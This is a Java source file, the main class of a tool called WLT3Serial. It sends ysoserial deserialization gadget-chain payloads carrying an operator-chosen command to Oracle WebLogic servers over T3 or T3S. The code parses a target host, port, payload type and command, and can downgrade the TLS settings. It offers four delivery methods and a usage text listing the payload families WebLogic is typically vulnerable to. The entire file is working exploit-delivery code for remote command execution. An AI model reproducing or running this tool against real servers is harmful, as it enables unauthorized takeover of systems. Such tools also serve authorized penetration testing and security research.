/*
	WLT3Serial.java
	
	v0.4 (10/23/2018)
	
	Main class for executing java deserialization exploit against WebLogic Servers hosting a T3 or T3S listener. Parses command options, configures JVM SSL/TLS settings (if T3S
	connection will be used), then executes exploit with set options.
*/

package bort.millipede.wlt3;

import java.util.Collections;
import java.util.List;
import java.util.ArrayList;

//third-party includes
import ysoserial.Strings;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;

public class WLT3Serial {
	public static void main(String[] args) {
		System.out.print("\n"); //to make output slightly easier to read
		
		if(args.length<4) { //check number of arguments, print Usage if short
			usage();
			return;
		}
		
		//set required options
		String host = args[args.length-4];
		int port = -1;
		try {
			port = Integer.parseInt(args[args.length-3]);
		} catch(NumberFormatException nfe) {
			System.err.println("Error: Invalid port "+args[args.length-3]+"!");
			return;
		}
		if(port<0 || port>65535) {
			System.err.println("Error: Invalid port "+args[args.length-3]+"!");
			return;
		}
		String payloadType = args[args.length-2];
		String command = args[args.length-1];
		boolean t3s = false;
		String method = "Property";
		boolean verbose = false;
		
		//parse options from command-line
		if(args.length>4) {
			int lastOpt = args.length-5;
			boolean methSet = false; //if exploit method has been set
			boolean tlsSet = false; //if T3S flag has been set
			for(int i=0;i<=lastOpt;i++) {
				String opt = args[i];
				opt = opt.trim();
				if(opt.length()!=0 && opt.length()>=2) {
					switch(opt) {
						default: //invalid argument
							System.err.println("Error: Invalid option \""+opt+"\"\n");
							usage();
							return;
						case "--help": //print usage
							usage();
							return;
						case "--verbose": //enable verbose output
							verbose=true;
							break;
						case "--method=Property": //set "Connect Property Value" exploit method
							if(!methSet) {
								method = "Property";
								methSet = true;
							} else {
								System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n");
								usage();
								return;
							}
							break;
						case "--method=Bind": //set "Bind object" exploit method
							if(!methSet) {
								method = "Bind";
								methSet = true;
							} else {
								System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n");
								usage();
								return;
							}
							break;
						case "--method=WLBind": //set "WebLogic RMI Bind object" exploit method
							if(!methSet) {
								method = "WLBind";
								methSet = true;
							} else {
								System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n");
								usage();
								return;
							}
							break;
						case "--method=CustomClass": //set "Custom ClassTableEntry Class" exploit method
							if(!methSet) {
								method = "CustomClass";
								methSet = true;
							} else {
								System.err.println("Error: Multiple Exploit Methods set, please choose only one method\n");
								usage();
								return;
							}
							break;
						case "--t3s=TLSv1.2": //use T3S to connect with TLSv1.2
							if(!tlsSet) {
								t3s = true;
								System.setProperty("jdk.tls.client.protocols","TLSv1.2");
								tlsSet = true;
							} else {
								System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n");
								usage();
								return;
							}
							break;
						case "--t3s=TLSv1.1": //use T3S to connect with TLSv1.1
							if(!tlsSet) {
								t3s = true;
								System.setProperty("jdk.tls.client.protocols","TLSv1.1");
								tlsSet = true;
							} else {
								System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n");
								usage();
								return;
							}
							break;
						case "--t3s": //use T3S to connect (with TLSv1)
						case "--t3s=TLSv1": //use T3S to connect with TLSv1
							if(!tlsSet) {
								t3s = true;
								System.setProperty("jdk.tls.client.protocols","TLSv1");
								tlsSet = true;
							} else {
								System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n");
								usage();
								return;
							}
							break;
						case "--t3s=SSLv3": //use T3S to connect with SSLv3
							if(!tlsSet) {
								t3s = true;
								System.setProperty("jdk.tls.client.protocols","SSLv3");
								tlsSet = true;
							} else {
								System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n");
								usage();
								return;
							}
							break;
						case "--t3s=SSLv2": //use T3S to connect with SSLv2Hello, falling back to SSLv3 after handshake
							if(!tlsSet) {
								t3s = true;
								System.setProperty("jdk.tls.client.protocols","SSLv2Hello,SSLv3");
								tlsSet = true;
							} else {
								System.err.println("Error: Multiple SSL/TLS version options set, please choose only one version\n");
								usage();
								return;
							}
							break;
					}
				} else {
					System.err.println("Error: Invalid option \""+opt+"\"\n");
					return;
				}
			}
		}
		
		//check if correct weblogic.rjvm.ClassTableEntry class (default or custom) is loaded into JVM for chosen exploitaton method
		switch(method) {
			case "Property":
			case "Bind":
			case "WLBind":
				if(WLT3SerialHelper.isCTECustom()) {
					System.err.print("Error: wrong weblogic.rjvm.ClassTableEntry class loaded! ");
					System.err.print("Re-run WLT3Serial with different classpath argument (wlthint3client.jar should be specified before WLT3Serial.jar)!\n");
					return;
				}
				break;
			case "CustomClass":
				if(!WLT3SerialHelper.isCTECustom()) {
					System.err.print("Error: wrong weblogic.rjvm.ClassTableEntry class loaded! ");
					System.err.print("Re-run WLT3Serial with different classpath argument (WLT3Serial.jar should be specified before wlthint3client.jar)!\n");
					return;
				}
				break;
		}
		
		try {		
			//check validity of inputted ysoserial payload type, and generate ysoserial payload
			final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
			if(payloadClass == null) {
				System.err.println("Error: Invalid payload type \""+payloadType+"\"! Ensure that ysoserial.jar file is in classpath, and check Usage (--help option) for available payload types!");
				return;
			}
			final ObjectPayload payload = payloadClass.newInstance();
			final Object object = payload.getObject(command);
			
			//set desired SSL/TLS protocol(s) (if using T3S) and display connection information			
			System.out.print("\nConnecting to WebLogic Server at "+(t3s ? "t3s" : "t3" )+"://"+host+":"+Integer.toString(port));
			if(t3s) {
				WLT3SerialHelper.setSSLTLSProtocol();
				String encProt = System.getProperty("jdk.tls.client.protocols");
				System.out.print(" (with ");
				if(encProt.contains("SSLv2Hello")) {
					System.out.print("SSLv2Hello handshake and SSLv3)");
				} else {
					System.out.print(encProt);
				}
				System.out.print(")");
			}
			System.out.print(": ... ");
			
			//run exploit
			switch(method) {
				case "Property":
					ContextExploit.runPropertyExploit(object,host,port,t3s,verbose);
					break;
				case "Bind":
					ContextExploit.runBindExploit(object,host,port,t3s,verbose);
					break;
				case "WLBind":
					WLNamingExploit.runWLBindExploit(object,host,port,t3s,verbose);
					break;
				case "CustomClass":
					System.setProperty("bort.millipede.wlt3.type",payloadType);
					System.setProperty("bort.millipede.wlt3.command",command);
					CustomClassTableEntryExploit.runCustomClassExploit(host,port,t3s,verbose);
					break;
			}
		} catch(NoClassDefFoundError ncdfe) {
			String message = ncdfe.getMessage();
			if(message.contains("ysoserial")) {
				System.err.println("Error loading ysoserial library! Ensure that ysoserial.jar file is in classpath, and check Usage (--help option) for available payload types!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
			} else if(message.contains("weblogic")) {
				System.out.println("\b\b\b\bfailed!");
				System.err.println("Error loading wlthint3client! Ensure that wlthint3client.jar file is in classpath!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
			}
			
			if(verbose) {
				System.err.print("\n");
				ncdfe.printStackTrace();
			}
		} catch(Exception e) {
			System.err.println("Unknown Error Occurred ("+e.getClass().getName()+")"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
			if(verbose) {
				System.err.print("\n");
				e.printStackTrace();
			}
		}
	}
	
	//print Usage information
	private static void usage() {
		System.err.println("Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD");
		System.err.println("\nOptions:");
		System.err.println("\t--help\t\t\t\tprint usage (you\'re lookin at it)\n");
		System.err.println("\t--verbose\t\t\tVerbose output (full thrown exception output; Disabled by default)\n");
		System.err.println("\t--method=EXPLOIT_METHOD\t\tExploit Method for delivering generated ysoserial payload");
		System.err.println("\t\tExploit Methods:\n\t\t\tProperty\tSend ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)");
		System.err.println("\t\t\tBind\t\tSend ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)");
		System.err.println("\t\t\tWLBind\t\tSend ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)");
		System.err.println("\t\t\tCustomClass\tSend ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)\n");
		System.err.println("\t--t3s[=PROTOCOL]\t\tUse T3S (transport-encrypted) connection (Disabled by default)");
		System.err.println("\t\tProtocols:\n\t\t\tTLSv1.2\n\t\t\tTLSv1.1\n\t\t\tTLSv1 (Default)\n\t\t\tSSLv3");
		System.err.println("\t\t\tSSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)\n\n");
		
		//list available ysoserial payload types, or print error on failure
		System.err.println("Available Payload Types (WebLogic is usually vulnerable to \"CommonsCollectionsX\" and \"JRMPClientX\" types):");
		try {
			final List<Class<? extends ObjectPayload>> payloadClasses = new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
			Collections.sort(payloadClasses, new Strings.ToStringComparator());
			for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
				System.err.println("\t"+payloadClass.getSimpleName());
			}
			System.err.println("");
		} catch(NoClassDefFoundError ncdfe) {
			System.err.println("\tNo ysoserial object payload classes found! Ensure that ysoserial jar file is in classpath when executing WLT3Serial!\n");
		} catch(Exception e) {
			System.err.println("\tUnknown Error occurred while listing ysoserial object payload classes ("+e.getClass().getName()+")!");
		}
	}
}